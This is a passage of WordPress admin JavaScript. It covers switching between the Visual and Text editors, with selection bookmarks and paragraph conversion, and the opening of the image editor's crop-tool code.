				textAreaContent = textArea.value,

				adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, {
					cursorStart: textArea.selectionStart,
					cursorEnd: textArea.selectionEnd
				} ),

				htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart,
				htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd,

				mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single',

				selectedText = null,
				cursorMarkerSkeleton = getCursorMarkerSpan( $$, '&#65279;' ).attr( 'data-mce-type','bookmark' );

			if ( mode === 'range' ) {
				var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ),
					bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' );

				selectedText = [
					markedText,
					bookMarkEnd[0].outerHTML
				].join( '' );
			}

			textArea.value = [
				textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position.
				cursorMarkerSkeleton.clone()							// Cursor/selection start marker.
					.addClass( 'mce_SELRES_start' )[0].outerHTML,
				selectedText, 											// Selected text with end cursor/position marker.
				textArea.value.slice( htmlModeCursorEndPosition )		// Text from last cursor/selection position to end.
			].join( '' );
		}

		/**
		 * Focuses the selection markers in Visual mode.
		 *
		 * The method checks for existing selection markers inside the editor DOM (Visual mode)
		 * and create a selection between the two nodes using the DOM `createRange` selection API
		 *
		 * If there is only a single node, select only the single node through TinyMCE's selection API
		 *
		 * @param {Object} editor TinyMCE editor instance.
		 */
		function focusHTMLBookmarkInVisualEditor( editor ) {
			var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ),
				endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 );

			if ( startNode.length ) {
				editor.focus();

				if ( ! endNode.length ) {
					editor.selection.select( startNode[0] );
				} else {
					var selection = editor.getDoc().createRange();

					selection.setStartAfter( startNode[0] );
					selection.setEndBefore( endNode[0] );

					editor.selection.setRng( selection );
				}
			}

			if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
				scrollVisualModeToStartElement( editor, startNode );
			}

			removeSelectionMarker( startNode );
			removeSelectionMarker( endNode );

			editor.save();
		}

		/**
		 * Removes selection marker and the parent node if it is an empty paragraph.
		 *
		 * By default TinyMCE wraps loose inline tags in a `<p>`.
		 * When removing selection markers an empty `<p>` may be left behind, remove it.
		 *
		 * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instnce of `editor.$`
		 */
		function removeSelectionMarker( $marker ) {
			var $markerParent = $marker.parent();

			$marker.remove();

			//Remove empty paragraph left over after removing the marker.
			if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) {
				$markerParent.remove();
			}
		}

		/**
		 * Scrolls the content to place the selected element in the center of the screen.
		 *
		 * Takes an element, that is usually the selection start element, selected in
		 * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly
		 * in the middle of the screen.
		 *
		 * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted
		 * from the window height, to get the proper viewport window, that the user sees.
		 *
		 * @param {Object} editor TinyMCE editor instance.
		 * @param {Object} element HTMLElement that should be scrolled into view.
		 */
		function scrollVisualModeToStartElement( editor, element ) {
			var elementTop = editor.$( element ).offset().top,
				TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top,

				toolbarHeight = getToolbarHeight( editor ),

				edTools = $( '#wp-content-editor-tools' ),
				edToolsHeight = 0,
				edToolsOffsetTop = 0,

				$scrollArea;

			if ( edTools.length ) {
				edToolsHeight = edTools.height();
				edToolsOffsetTop = edTools.offset().top;
			}

			var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,

				selectionPosition = TinyMCEContentAreaTop + elementTop,
				visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight );

			// There's no need to scroll if the selection is inside the visible area.
			if ( selectionPosition < visibleAreaHeight ) {
				return;
			}

			/**
			 * The minimum scroll height should be to the top of the editor, to offer a consistent
			 * experience.
			 *
			 * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and
			 * subtracting the height. This gives the scroll position where the top of the editor tools aligns with
			 * the top of the viewport (under the Master Bar)
			 */
			var adjustedScroll;
			if ( editor.settings.wp_autoresize_on ) {
				$scrollArea = $( 'html,body' );
				adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight );
			} else {
				$scrollArea = $( editor.contentDocument ).find( 'html,body' );
				adjustedScroll = elementTop;
			}

			$scrollArea.animate( {
				scrollTop: parseInt( adjustedScroll, 10 )
			}, 100 );
		}

		/**
		 * This method was extracted from the `SaveContent` hook in
		 * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`.
		 *
		 * It's needed here, since the method changes the content a bit, which confuses the cursor position.
		 *
		 * @param {Object} event TinyMCE event object.
		 */
		function fixTextAreaContent( event ) {
			// Keep empty paragraphs :(
			event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
		}

		/**
		 * Finds the current selection position in the Visual editor.
		 *
		 * Find the current selection in the Visual editor by inserting marker elements at the start
		 * and end of the selection.
		 *
		 * Uses the standard DOM selection API to achieve that goal.
		 *
		 * Check the notes in the comments in the code below for more information on some gotchas
		 * and why this solution was chosen.
		 *
		 * @param {Object} editor The editor where we must find the selection.
		 * @return {(null|Object)} The selection range position in the editor.
		 */
		function findBookmarkedPosition( editor ) {
			// Get the TinyMCE `window` reference, since we need to access the raw selection.
			var TinyMCEWindow = editor.getWin(),
				selection = TinyMCEWindow.getSelection();

			if ( ! selection || selection.rangeCount < 1 ) {
				// no selection, no need to continue.
				return;
			}

			/**
			 * The ID is used to avoid replacing user generated content, that may coincide with the
			 * format specified below.
			 * @type {string}
			 */
			var selectionID = 'SELRES_' + Math.random();

			/**
			 * Create two marker elements that will be used to mark the start and the end of the range.
			 *
			 * The elements have hardcoded style that makes them invisible. This is done to avoid seeing
			 * random content flickering in the editor when switching between modes.
			 */
			var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ),
				startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ),
				endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' );

			/**
			 * Inspired by:
			 * @link https://stackoverflow.com/a/17497803/153310
			 *
			 * Why do it this way and not with TinyMCE's bookmarks?
			 *
			 * TinyMCE's bookmarks are very nice when working with selections and positions, BUT
			 * there is no way to determine the precise position of the bookmark when switching modes, since
			 * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify
			 * HTML code and so on. In this process, the bookmark markup gets lost.
			 *
			 * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML
			 * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will
			 * throw off the positioning.
			 *
			 * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the
			 * selection.
			 *
			 * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates
			 * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to
			 * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the
			 * selection may start in the middle of one node and end in the middle of a completely different one. If we
			 * wrap the selection in another node, this will create artifacts in the content.
			 *
			 * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection.
			 * This helps us not break the content and also gives us the option to work with multi-node selections without
			 * breaking the markup.
			 */
			var range = selection.getRangeAt( 0 ),
				startNode = range.startContainer,
				startOffset = range.startOffset,
				boundaryRange = range.cloneRange();

			/**
			 * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup,
			 * which we have to account for.
			 */
			if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) {
				startNode = editor.$( '[data-mce-selected]' )[0];

				/**
				 * Marking the start and end element with `data-mce-object-selection` helps
				 * discern when the selected object is a Live Preview selection.
				 *
				 * This way we can adjust the selection to properly select only the content, ignoring
				 * whitespace inserted around the selected object by the Editor.
				 */
				startElement.attr( 'data-mce-object-selection', 'true' );
				endElement.attr( 'data-mce-object-selection', 'true' );

				editor.$( startNode ).before( startElement[0] );
				editor.$( startNode ).after( endElement[0] );
			} else {
				boundaryRange.collapse( false );
				boundaryRange.insertNode( endElement[0] );

				boundaryRange.setStart( startNode, startOffset );
				boundaryRange.collapse( true );
				boundaryRange.insertNode( startElement[0] );

				range.setStartAfter( startElement[0] );
				range.setEndBefore( endElement[0] );
				selection.removeAllRanges();
				selection.addRange( range );
			}

			/**
			 * Now the editor's content has the start/end nodes.
			 *
			 * Unfortunately the content goes through some more changes after this step, before it gets inserted
			 * in the `textarea`. This means that we have to do some minor cleanup on our own here.
			 */
			editor.on( 'GetContent', fixTextAreaContent );

			var content = removep( editor.getContent() );

			editor.off( 'GetContent', fixTextAreaContent );

			startElement.remove();
			endElement.remove();

			var startRegex = new RegExp(
				'<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)'
			);

			var endRegex = new RegExp(
				'(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>'
			);

			var startMatch = content.match( startRegex ),
				endMatch = content.match( endRegex );

			if ( ! startMatch ) {
				return null;
			}

			var startIndex = startMatch.index,
				startMatchLength = startMatch[0].length,
				endIndex = null;

			if (endMatch) {
				/**
				 * Adjust the selection index, if the selection contains a Live Preview object or not.
				 *
				 * Check where the `data-mce-object-selection` attribute is set above for more context.
				 */
				if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
					startMatchLength -= startMatch[1].length;
				}

				var endMatchIndex = endMatch.index;

				if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
					endMatchIndex -= endMatch[1].length;
				}

				// We need to adjust the end position to discard the length of the range start marker.
				endIndex = endMatchIndex - startMatchLength;
			}

			return {
				start: startIndex,
				end: endIndex
			};
		}

		/**
		 * Selects text in the TinyMCE `textarea`.
		 *
		 * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`.
		 *
		 * For `selection` parameter:
		 * @link findBookmarkedPosition
		 *
		 * @param {Object} editor TinyMCE's editor instance.
		 * @param {Object} selection Selection data.
		 */
		function selectTextInTextArea( editor, selection ) {
			// Only valid in the text area mode and if we have selection.
			if ( ! selection ) {
				return;
			}

			var textArea = editor.getElement(),
				start = selection.start,
				end = selection.end || selection.start;

			if ( textArea.focus ) {
				// Wait for the Visual editor to be hidden, then focus and scroll to the position.
				setTimeout( function() {
					textArea.setSelectionRange( start, end );
					if ( textArea.blur ) {
						// Defocus before focusing.
						textArea.blur();
					}
					textArea.focus();
				}, 100 );
			}
		}

		// Restore the selection when the editor is initialized. Needed when the Text editor is the default.
		$( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) {
			if ( editor.$( '.mce_SELRES_start' ).length ) {
				focusHTMLBookmarkInVisualEditor( editor );
			}
		} );

		/**
		 * Replaces <p> tags with two line breaks. "Opposite" of wpautop().
		 *
		 * Replaces <p> tags with two line breaks except where the <p> has attributes.
		 * Unifies whitespace.
		 * Indents <li>, <dt> and <dd> for better readability.
		 *
		 * @since 2.5.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} html The content from the editor.
		 * @return {string} The content with stripped paragraph tags.
		 */
		function removep( html ) {
			var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure',
				blocklist1 = blocklist + '|div|p',
				blocklist2 = blocklist + '|pre',
				preserve_linebreaks = false,
				preserve_br = false,
				preserve = [];

			if ( ! html ) {
				return '';
			}

			// Protect script and style tags.
			if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) {
				html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) {
					preserve.push( match );
					return '<wp-preserve>';
				} );
			}

			// Protect pre tags.
			if ( html.indexOf( '<pre' ) !== -1 ) {
				preserve_linebreaks = true;
				html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) {
					a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' );
					a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' );
					return a.replace( /\r?\n/g, '<wp-line-break>' );
				});
			}

			// Remove line breaks but keep <br> tags inside image captions.
			if ( html.indexOf( '[caption' ) !== -1 ) {
				preserve_br = true;
				html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
					return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' );
				});
			}

			// Normalize white space characters before and after block tags.
			html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' );
			html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' );

			// Mark </p> if it has any attributes.
			html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' );

			// Preserve the first <p> inside a <div>.
			html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' );

			// Remove paragraph tags.
			html = html.replace( /\s*<p>/gi, '' );
			html = html.replace( /\s*<\/p>\s*/gi, '\n\n' );

			// Normalize white space chars and remove multiple line breaks.
			html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' );

			// Replace <br> tags with line breaks.
			html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) {
				if ( space && space.indexOf( '\n' ) !== -1 ) {
					return '\n\n';
				}

				return '\n';
			});

			// Fix line breaks around <div>.
			html = html.replace( /\s*<div/g, '\n<div' );
			html = html.replace( /<\/div>\s*/g, '</div>\n' );

			// Fix line breaks around caption shortcodes.
			html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' );
			html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' );

			// Pad block elements tags with a line break.
			html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' );
			html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' );

			// Indent <li>, <dt> and <dd> tags.
			html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' );

			// Fix line breaks around <select> and <option>.
			if ( html.indexOf( '<option' ) !== -1 ) {
				html = html.replace( /\s*<option/g, '\n<option' );
				html = html.replace( /\s*<\/select>/g, '\n</select>' );
			}

			// Pad <hr> with two line breaks.
			if ( html.indexOf( '<hr' ) !== -1 ) {
				html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' );
			}

			// Remove line breaks in <object> tags.
			if ( html.indexOf( '<object' ) !== -1 ) {
				html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
					return a.replace( /[\r\n]+/g, '' );
				});
			}

			// Unmark special paragraph closing tags.
			html = html.replace( /<\/p#>/g, '</p>\n' );

			// Pad remaining <p> tags whit a line break.
			html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' );

			// Trim.
			html = html.replace( /^\s+/, '' );
			html = html.replace( /[\s\u00a0]+$/, '' );

			if ( preserve_linebreaks ) {
				html = html.replace( /<wp-line-break>/g, '\n' );
			}

			if ( preserve_br ) {
				html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
			}

			// Restore preserved tags.
			if ( preserve.length ) {
				html = html.replace( /<wp-preserve>/g, function() {
					return preserve.shift();
				} );
			}

			return html;
		}

		/**
		 * Replaces two line breaks with a paragraph tag and one line break with a <br>.
		 *
		 * Similar to `wpautop()` in formatting.php.
		 *
		 * @since 2.5.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} text The text input.
		 * @return {string} The formatted text.
		 */
		function autop( text ) {
			var preserve_linebreaks = false,
				preserve_br = false,
				blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
					'|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
					'|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary';

			// Normalize line breaks.
			text = text.replace( /\r\n|\r/g, '\n' );

			// Remove line breaks from <object>.
			if ( text.indexOf( '<object' ) !== -1 ) {
				text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
					return a.replace( /\n+/g, '' );
				});
			}

			// Remove line breaks from tags.
			text = text.replace( /<[^<>]+>/g, function( a ) {
				return a.replace( /[\n\t ]+/g, ' ' );
			});

			// Preserve line breaks in <pre> and <script> tags.
			if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) {
				preserve_linebreaks = true;
				text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) {
					return a.replace( /\n/g, '<wp-line-break>' );
				});
			}

			if ( text.indexOf( '<figcaption' ) !== -1 ) {
				text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' );
				text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' );
			}

			// Keep <br> tags inside captions.
			if ( text.indexOf( '[caption' ) !== -1 ) {
				preserve_br = true;

				text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
					a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' );

					a = a.replace( /<[^<>]+>/g, function( b ) {
						return b.replace( /[\n\t ]+/, ' ' );
					});

					return a.replace( /\s*\n\s*/g, '<wp-temp-br />' );
				});
			}

			text = text + '\n\n';
			text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' );

			// Pad block tags with two line breaks.
			text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' );
			text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' );
			text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' );

			// Remove white space chars around <option>.
			text = text.replace( /\s*<option/gi, '<option' );
			text = text.replace( /<\/option>\s*/gi, '</option>' );

			// Normalize multiple line breaks and white space chars.
			text = text.replace( /\n\s*\n+/g, '\n\n' );

			// Convert two line breaks to a paragraph.
			text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' );

			// Remove empty paragraphs.
			text = text.replace( /<p>\s*?<\/p>/gi, '');

			// Remove <p> tags that are around block tags.
			text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
			text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1');

			// Fix <p> in blockquotes.
			text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>');
			text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>');

			// Remove <p> tags that are wrapped around block tags.
			text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' );
			text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );

			text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' );

			// Add <br> tags.
			text = text.replace( /\s*\n/g, '<br />\n');

			// Remove <br> tags that are around block tags.
			text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' );
			text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' );

			// Remove <p> and <br> around captions.
			text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' );

			// Make sure there is <p> when there is </p> inside block tags that can contain other blocks.
			text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) {
				if ( c.match( /<p( [^>]*)?>/ ) ) {
					return a;
				}

				return b + '<p>' + c + '</p>';
			});

			// Restore the line breaks in <pre> and <script> tags.
			if ( preserve_linebreaks ) {
				text = text.replace( /<wp-line-break>/g, '\n' );
			}

			// Restore the <br> tags in captions.
			if ( preserve_br ) {
				text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
			}

			return text;
		}

		/**
		 * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available.
		 *
		 * @since 2.9.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} html The content from the visual editor.
		 * @return {string} the filtered content.
		 */
		function pre_wpautop( html ) {
			var obj = { o: exports, data: html, unfiltered: html };

			if ( $ ) {
				$( 'body' ).trigger( 'beforePreWpautop', [ obj ] );
			}

			obj.data = removep( obj.data );

			if ( $ ) {
				$( 'body' ).trigger( 'afterPreWpautop', [ obj ] );
			}

			return obj.data;
		}

		/**
		 * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available.
		 *
		 * @since 2.9.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} text The content from the text editor.
		 * @return {string} filtered content.
		 */
		function wpautop( text ) {
			var obj = { o: exports, data: text, unfiltered: text };

			if ( $ ) {
				$( 'body' ).trigger( 'beforeWpautop', [ obj ] );
			}

			obj.data = autop( obj.data );

			if ( $ ) {
				$( 'body' ).trigger( 'afterWpautop', [ obj ] );
			}

			return obj.data;
		}

		if ( $ ) {
			$( init );
		} else if ( document.addEventListener ) {
			document.addEventListener( 'DOMContentLoaded', init, false );
			window.addEventListener( 'load', init, false );
		} else if ( window.attachEvent ) {
			window.attachEvent( 'onload', init );
			document.attachEvent( 'onreadystatechange', function() {
				if ( 'complete' === document.readyState ) {
					init();
				}
			} );
		}

		wp.editor.autop = wpautop;
		wp.editor.removep = pre_wpautop;

		exports = {
			go: switchEditor,
			wpautop: wpautop,
			pre_wpautop: pre_wpautop,
			_wp_Autop: autop,
			_wp_Nop: removep
		};

		return exports;
	}

	/**
	 * Expose the switch editors to be used globally.
	 *
	 * @namespace switchEditors
	 */
	window.switchEditors = new SwitchEditors();

	/**
	 * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP).
	 *
	 * Intended for use with an existing textarea that will become the Text editor tab.
	 * The editor width will be the width of the textarea container, height will be adjustable.
	 *
	 * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered"
	 * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init.
	 *
	 * @since 4.8.0
	 *
	 * @param {string} id The HTML id of the textarea that is used for the editor.
	 *                    Has to be jQuery compliant. No brackets, special chars, etc.
	 * @param {Object} settings Example:
	 * settings = {
	 *    // See https://www.tinymce.com/docs/configure/integration-and-setup/.
	 *    // Alternatively set to `true` to use the defaults.
	 *    tinymce: {
	 *        setup: function( editor ) {
	 *            console.log( 'Editor initialized', editor );
	 *        }
	 *    }
	 *
	 *    // Alternatively set to `true` to use the defaults.
	 *	  quicktags: {
	 *        buttons: 'strong,em,link'
	 *    }
	 * }
	 */
	wp.editor.initialize = function( id, settings ) {
		var init;
		var defaults;

		if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) {
			return;
		}

		defaults = wp.editor.getDefaultSettings();

		// Initialize TinyMCE by default.
		if ( ! settings ) {
			settings = {
				tinymce: true
			};
		}

		// Add wrap and the Visual|Text tabs.
		if ( settings.tinymce && settings.quicktags ) {
			var $textarea = $( '#' + id );

			var $wrap = $( '<div>' ).attr( {
					'class': 'wp-core-ui wp-editor-wrap tmce-active',
					id: 'wp-' + id + '-wrap'
				} );

			var $editorContainer = $( '<div class="wp-editor-container">' );

			var $button = $( '<button>' ).attr( {
					type: 'button',
					'data-wp-editor-id': id
				} );

			var $editorTools = $( '<div class="wp-editor-tools">' );

			if ( settings.mediaButtons ) {
				var buttonText = 'Add Media';

				if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) {
					buttonText = window._wpMediaViewsL10n.addMedia;
				}

				var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' );

				$addMediaButton.append( '<span class="wp-media-buttons-icon"></span>' );
				$addMediaButton.append( document.createTextNode( ' ' + buttonText ) );
				$addMediaButton.data( 'editor', id );

				$editorTools.append(
					$( '<div class="wp-media-buttons">' )
						.append( $addMediaButton )
				);
			}

			$wrap.append(
				$editorTools
					.append( $( '<div class="wp-editor-tabs">' )
						.append( $button.clone().attr({
							id: id + '-tmce',
							'class': 'wp-switch-editor switch-tmce'
						}).text( window.tinymce.translate( 'Visual' ) ) )
						.append( $button.attr({
							id: id + '-html',
							'class': 'wp-switch-editor switch-html'
						}).text( window.tinymce.translate( 'Text' ) ) )
					).append( $editorContainer )
			);

			$textarea.after( $wrap );
			$editorContainer.append( $textarea );
		}

		if ( window.tinymce && settings.tinymce ) {
			if ( typeof settings.tinymce !== 'object' ) {
				settings.tinymce = {};
			}

			init = $.extend( {}, defaults.tinymce, settings.tinymce );
			init.selector = '#' + id;

			$( document ).trigger( 'wp-before-tinymce-init', init );
			window.tinymce.init( init );

			if ( ! window.wpActiveEditor ) {
				window.wpActiveEditor = id;
			}
		}

		if ( window.quicktags && settings.quicktags ) {
			if ( typeof settings.quicktags !== 'object' ) {
				settings.quicktags = {};
			}

			init = $.extend( {}, defaults.quicktags, settings.quicktags );
			init.id = id;

			$( document ).trigger( 'wp-before-quicktags-init', init );
			window.quicktags( init );

			if ( ! window.wpActiveEditor ) {
				window.wpActiveEditor = init.id;
			}
		}
	};

	/**
	 * Remove one editor instance.
	 *
	 * Intended for use with editors that were initialized with wp.editor.initialize().
	 *
	 * @since 4.8.0
	 *
	 * @param {string} id The HTML id of the editor textarea.
	 */
	wp.editor.remove = function( id ) {
		var mceInstance, qtInstance,
			$wrap = $( '#wp-' + id + '-wrap' );

		if ( window.tinymce ) {
			mceInstance = window.tinymce.get( id );

			if ( mceInstance ) {
				if ( ! mceInstance.isHidden() ) {
					mceInstance.save();
				}

				mceInstance.remove();
			}
		}

		if ( window.quicktags ) {
			qtInstance = window.QTags.getInstance( id );

			if ( qtInstance ) {
				qtInstance.remove();
			}
		}

		if ( $wrap.length ) {
			$wrap.after( $( '#' + id ) );
			$wrap.remove();
		}
	};

	/**
	 * Get the editor content.
	 *
	 * Intended for use with editors that were initialized with wp.editor.initialize().
	 *
	 * @since 4.8.0
	 *
	 * @param {string} id The HTML id of the editor textarea.
	 * @return The editor content.
	 */
	wp.editor.getContent = function( id ) {
		var editor;

		if ( ! $ || ! id ) {
			return;
		}

		if ( window.tinymce ) {
			editor = window.tinymce.get( id );

			if ( editor && ! editor.isHidden() ) {
				editor.save();
			}
		}

		return $( '#' + id ).val();
	};

}( window.jQuery, window.wp ));
/**
 * The functions necessary for editing images.
 *
 * @since 2.9.0
 * @output wp-admin/js/image-edit.js
 */

 /* global ajaxurl, confirm */

(function($) {
	var __ = wp.i18n.__;

	/**
	 * Contains all the methods to initialize and control the image editor.
	 *
	 * @namespace imageEdit
	 */
	var imageEdit = window.imageEdit = {
	iasapi : {},
	hold : {},
	postid : '',
	_view : false,

	/**
	 * Enable crop tool.
	 */
	toggleCropTool: function( postid, nonce, cropButton ) {
		var img = $( '#image-preview-' + postid ),
			selection = this.iasapi.getSelection();

		imageEdit.toggleControls( cropButton );
		var $el = $( cropButton );
		var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false';
		// Crop tools have been closed.
		if ( 'false' === state ) {
			// Cancel selection, but do not unset inputs.
			this.iasapi.cancelSelection();
			imageEdit.setDisabled($('.imgedit-crop-clear'), 0);
		} else {
			imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
			// Get values from inputs to restore previous selection.
			var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0;
			var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0;
			var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth();
			var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight();
			// Ensure selection is available, otherwise reset to full image.
			if ( isNaN( selection.x1 ) ) {
				this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } );
				selection = this.iasapi.getSelection();
			}

			// If we don't already have a selection, select the entire image.
			if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) {
				this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true );
				this.iasapi.setOptions( { show: true } );
				this.iasapi.update();
			} else {
				this.iasapi.setSelection( startX, startY, width, height, true );
				this.iasapi.setOptions( { show: true } );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Handle crop tool clicks.
	 */
	handleCropToolClick: function( postid, nonce, cropButton ) {

		if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) {
			this.iasapi.cancelSelection();
			imageEdit.setDisabled($('.imgedit-crop-apply'), 0);

			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-start-x-' + postid).val('0');
			$('#imgedit-start-y-' + postid).val('0');
			$('#imgedit-selection-' + postid).val('');
		} else {
			// Otherwise, perform the crop.
			imageEdit.crop( postid, nonce , cropButton );
		}
	},

	/**
	 * Converts a value to an integer.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} f The float value that should be converted.
	 *
	 * @return {number} The integer representation from the float value.
	 */
	intval : function(f) {
		/*
